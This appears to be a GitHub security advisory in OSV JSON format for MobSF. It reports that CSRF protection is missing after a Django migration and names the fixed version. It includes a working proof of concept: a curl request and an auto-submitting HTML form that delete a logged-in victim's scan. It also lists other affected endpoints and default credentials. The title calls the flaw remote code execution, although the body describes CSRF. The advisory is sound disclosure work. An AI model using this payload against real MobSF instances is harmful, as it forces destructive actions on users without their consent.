CVE-2026-68923: Mobsf Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3p54-567p-2wpr",
  "modified" : "2026-08-18T18:01:14Z",
  "published" : "2026-08-18T18:01:13Z",
  "aliases" : [ "CVE-2026-68923" ],
  "summary" : "MobSF's CSRF checks not enforced after Django migration",
  "details" : "### Summary\n\nDjango's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n    -d \"md5=68e76627798d62555d5287f4488a32c7&scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page):\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Innocent Page</title></head>\n<body>\n<h1>Loading...</h1>\n<form id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\">\n  <input type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" />\n  <input type=\"hidden\" name=\"scan_type\" value=\"apk\" />\n</form>\n<script>document.getElementById('f').submit();</script>\n</body>\n</html>\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it's gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim's MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mobsf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T18:01:13Z",
    "nvd_published_at" : null
  }
}